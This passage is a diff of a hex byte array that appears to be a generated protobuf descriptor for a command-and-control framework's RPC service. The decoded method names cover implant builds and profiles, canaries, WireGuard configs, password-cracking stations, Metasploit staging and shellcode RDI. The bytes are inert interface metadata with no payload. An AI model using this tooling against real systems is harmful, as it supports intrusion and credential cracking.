0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x4d, 0x0a, 0x19, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x53, + 0x61, 0x76, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x5c, 0x0a, 0x20, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, + 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x37, 0x0a, 0x0f, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x65, 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x11, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x1a, 0x0f, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, + 0x01, 0x12, 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x54, 0x72, 0x69, 0x67, + 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, + 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, + 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, + 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, + 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, - 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x54, 0x61, 0x73, 0x6b, 0x42, 0x79, 0x49, 0x44, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, - 0x73, 0x6b, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, - 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, + 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x37, 0x0a, 0x13, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, + 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, + 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x18, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, + 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x42, 0x79, + 0x49, 0x44, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x37, 0x0a, 0x0f, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, + 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x14, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, + 0x65, 0x73, 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, + 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x39, 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, - 0x69, 0x6c, 0x65, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, - 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x39, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, - 0x12, 0x3a, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, - 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, - 0x16, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x39, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, - 0x69, 0x71, 0x75, 0x65, 0x49, 0x50, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, - 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, + 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x12, 0x39, 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x6f, 0x6d, + 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, + 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, + 0x39, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x66, 0x69, 0x6c, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, - 0x76, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, - 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3a, 0x0a, 0x12, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, + 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, 0x16, 0x47, 0x65, 0x6e, 0x65, 0x72, + 0x61, 0x74, 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, + 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x39, 0x0a, 0x10, + 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x49, 0x50, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x69, + 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, + 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x13, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76, 0x65, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x66, 0x69, 0x6c, 0x65, 0x12, 0x37, 0x0a, 0x08, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, - 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, - 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, - 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, - 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 